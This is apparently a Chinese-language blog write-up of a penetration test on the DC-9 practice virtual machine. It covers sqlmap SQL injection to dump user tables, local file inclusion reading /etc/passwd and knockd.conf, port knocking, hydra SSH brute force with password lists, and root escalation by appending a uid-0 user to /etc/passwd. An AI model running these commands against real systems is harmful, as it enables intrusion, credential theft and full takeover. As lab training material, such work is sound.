【CyberSecurityLearning 78】DC系列之DC-9渗透测试
目錄
DC-9靶機(jī)滲透測(cè)試
1、信息收集
1.1 掃描開(kāi)放的端口
1.2 訪問(wèn)WEB站點(diǎn)
2. SQL注入
3、admin登錄后臺(tái)
4、嘗試文件包含
4.1 利用 LFI 查看 /etc/knockd.conf 文件內(nèi)容
4.2 hydra 爆破用戶(hù)名和密碼
5. 登錄SSH
6、提權(quán)
6.1 構(gòu)造root權(quán)限用戶(hù)
?
DC-9靶機(jī)滲透測(cè)試
實(shí)驗(yàn)環(huán)境:
kali IP:192.168.3.196/24
DC-9的MAC地址:00:50:56:34:52:EA(IP為192.18.3.198)
1、信息收集
1.1 掃描開(kāi)放的端口
1.2 訪問(wèn)WEB站點(diǎn)
在 search 下表單輸入內(nèi)容提交發(fā)現(xiàn)跳轉(zhuǎn)到 results.php 頁(yè)面,抓包查看數(shù)據(jù)包
發(fā)現(xiàn)在 /results.php 進(jìn)行了 POST 傳參,參數(shù)為 search=1,嘗試使用 sqlmap 進(jìn)行爆數(shù)據(jù)
2. SQL注入
點(diǎn)擊search,也就是在search.php頁(yè)面中,輸入Mary' and 1=1#和Mary' and 1=2#,前者返回Mary的結(jié)果,后者為空,存在sql注入。
爆數(shù)據(jù)庫(kù):sqlmap -u http://192.168.3.198/results.php --data 'search=1' --dbs
注意--data 選項(xiàng)的用法
查看當(dāng)前數(shù)據(jù)庫(kù):sqlmap -u http://192.168.3.198/results.php --data 'search=1' --current-db??? (current database: 'Staff')
查看Staff數(shù)據(jù)庫(kù)中的表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" --tables(發(fā)現(xiàn)StaffDetails表和 Users表)
查看Users中字段:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" -T "Users" --columns(對(duì)Password和Usename字段感興趣)
查看Password和Username字段內(nèi)容:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "Staff" -T "Users" -C "Password|Username" --dump? (彈出的都選y,否則爆出來(lái)的密碼沒(méi)解密)
?
Password:856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)???
Username:admin ?????
解碼后為admin:transorbital1
爆users數(shù)據(jù)庫(kù)的表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" --tables? (UserDetails)
查看UserDetails中字段:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" -T "UserDetails" --columns
查看password和username字段內(nèi)容:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D "users" -T "UserDetails" -C "password" --dump
我太傻了,直接看表不就好了:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D users -T UserDetails --dump
查看Users表:sqlmap -u http://192.168.3.198/results.php --data 'search=1' -D Staff -T Users --dump
解碼后為admin:transorbital1
3、admin登錄后臺(tái)
登入后發(fā)現(xiàn)有 File does not exist 字樣,疑似有文件包含!!!
4、嘗試文件包含
http://192.168.3.198/manage.php?file=../../../../../../etc/passwd
發(fā)現(xiàn)有本地文件包含(LFI)
然后接下來(lái)嘗試看看有沒(méi)有遠(yuǎn)程文件包含(RFI)
http://192.168.3.198/manage.php?file=http://192.168.3.90/yjh.php(在本地web根目錄寫(xiě)一個(gè)yjh.php)
發(fā)現(xiàn)不允許遠(yuǎn)程文件包含!
接下來(lái)不知道怎么辦了,看看大佬的思路是利用 LFI 查看 /etc/knockd.conf 文件內(nèi)容
4.1 利用 LFI 查看 /etc/knockd.conf 文件內(nèi)容
knockd.conf文件端口敲門(mén)服務(wù),用于將服務(wù)器隱藏,也是這個(gè)原因讓22端口給過(guò)濾了。(將ssh隱藏了起來(lái))
利用文件包含來(lái)查看knockd.conf文件,獲得自定義端口,然后逐個(gè)進(jìn)行敲門(mén),這樣我們就能夠開(kāi)啟ssh端口
knochd 服務(wù):
在使用此服務(wù)時(shí),他人訪問(wèn)你的端口會(huì)顯示 close 狀態(tài),只有按照特定順序(配置文件)訪問(wèn)規(guī)定端口后才會(huì)開(kāi)放被訪問(wèn)的端口,依次訪問(wèn)特定端口后才會(huì)關(guān)閉被訪問(wèn)的端口
?file=../../../../../etc/knockd.conf
使用nmap:
nmap -p 7469,8475,9842 192.168.3.198
nmap -p 8475 192.168.3.198
nmap -p 9842 192.168.3.198
4.2 hydra 爆破用戶(hù)名和密碼
name.txt:
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
admin
passwd.txt:
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
transorbital1
命令:hydra -L name.txt -P passwd.txt 192.168.3.198 ssh
[22][ssh] host: 192.168.3.198?? login: chandlerb?? password: UrAG0D!
[22][ssh] host: 192.168.3.198?? login: joeyt?? password: Passw0rd
[22][ssh] host: 192.168.3.198?? login: janitor?? password: Ilovepeepee
5. 登錄SSH
一個(gè)一個(gè)登錄看看,有沒(méi)有什么有用的東西。
ssh janitor@192.168.3.198
進(jìn)去看看
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
增加在pass.txt后重新進(jìn)行爆破
發(fā)現(xiàn)新增加了一個(gè)用戶(hù):login: fredf?? password: B4-Tru3-001
使用fredf登錄ssh:ssh fredf@192.168.3.198
?
6、提權(quán)
思路1、sudo -l(查看有沒(méi)有一些命令在執(zhí)行期間有root權(quán)限標(biāo)簽沒(méi)有密碼保護(hù)——行不通!)
發(fā)現(xiàn) /opt/devstuff/dist/test/test 可以無(wú)需密碼以 root 權(quán)限執(zhí)行
思路2、查看有沒(méi)有一些具有suid權(quán)限的命令
find / -perm /4000 2>/dev/null
進(jìn)入/opt/devstuff目錄下,看到test.py文件
#!/usr/bin/pythonimport sysif len (sys.argv) != 3 :print ("Usage: python test.py read append")sys.exit (1)else :f = open(sys.argv[1], "r")output = (f.read())f = open(sys.argv[2], "a")f.write(output)f.close()test.py的功能是把一個(gè)文件的內(nèi)容寫(xiě)到另一個(gè)文件中
含義:可以看到該腳本是判斷參數(shù)是否為 3 個(gè),如果是 3 個(gè),將第二個(gè)文件中內(nèi)容讀出,寫(xiě)到第三個(gè)文件末尾)
test目錄可以root權(quán)限執(zhí)行:
因?yàn)槲覀兛梢砸?root 權(quán)限執(zhí)行該腳本,所以我們嘗試構(gòu)造數(shù)據(jù)進(jìn)行對(duì) /etc/passwd 進(jìn)行添加
6.1 構(gòu)造root權(quán)限用戶(hù)
openssl passwd -1 -salt toor 123456??? #構(gòu)造toor用戶(hù)密碼為123456的hash
$1$toor$9mBAQXqhpCXpTk7V6d/kI0
構(gòu)造結(jié)果:toor:$1$toor$9mBAQXqhpCXpTk7V6d/kI0:0:0::/root:/bin/bash
復(fù)習(xí):
root? :? x? :? 0? :? 0? :? root? :? /root? :? /bin/bash
HSP?? :? x? :? 500? :? 500? :? :? /home/HSP? :?? /bin/bash
字段1:用戶(hù)名稱(chēng)
字段2:密碼占位符
字段3:用戶(hù)的uid (0表示超級(jí)用戶(hù),500-60000表示普通用戶(hù),1-499表示程序用戶(hù))程序用戶(hù)不允許登錄系統(tǒng)
字段4:基本組的gid(先有組才有用戶(hù),先建立組再建立用戶(hù))
字段5:用戶(hù)信息記錄字段(這個(gè)字段基本上廢棄了)
字段6:用戶(hù)的家目錄
字段7:用戶(hù)登錄系統(tǒng)后使用的命令解釋器
echo 'toor:$1$toor$9mBAQXqhpCXpTk7V6d/kI0:0:0::/root:/bin/bash'>/tmp/toor???? #將其寫(xiě)入/tmp/toor文件中
cd /opt/devstuff/dist/test??? #進(jìn)入腳本路徑
sudo ./test /tmp/toor /etc/passwd??? #使用腳本
su toor??? #切換用戶(hù)
輸入密碼:123456
?
總結(jié)
以上是生活随笔為你收集整理的【CyberSecurityLearning 78】DC系列之DC-9渗透测试的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 作者:朱扬勇,复旦大学计算机科学技术学院
- 下一篇: 【新书速递】你想知道的通信“灵魂三问”都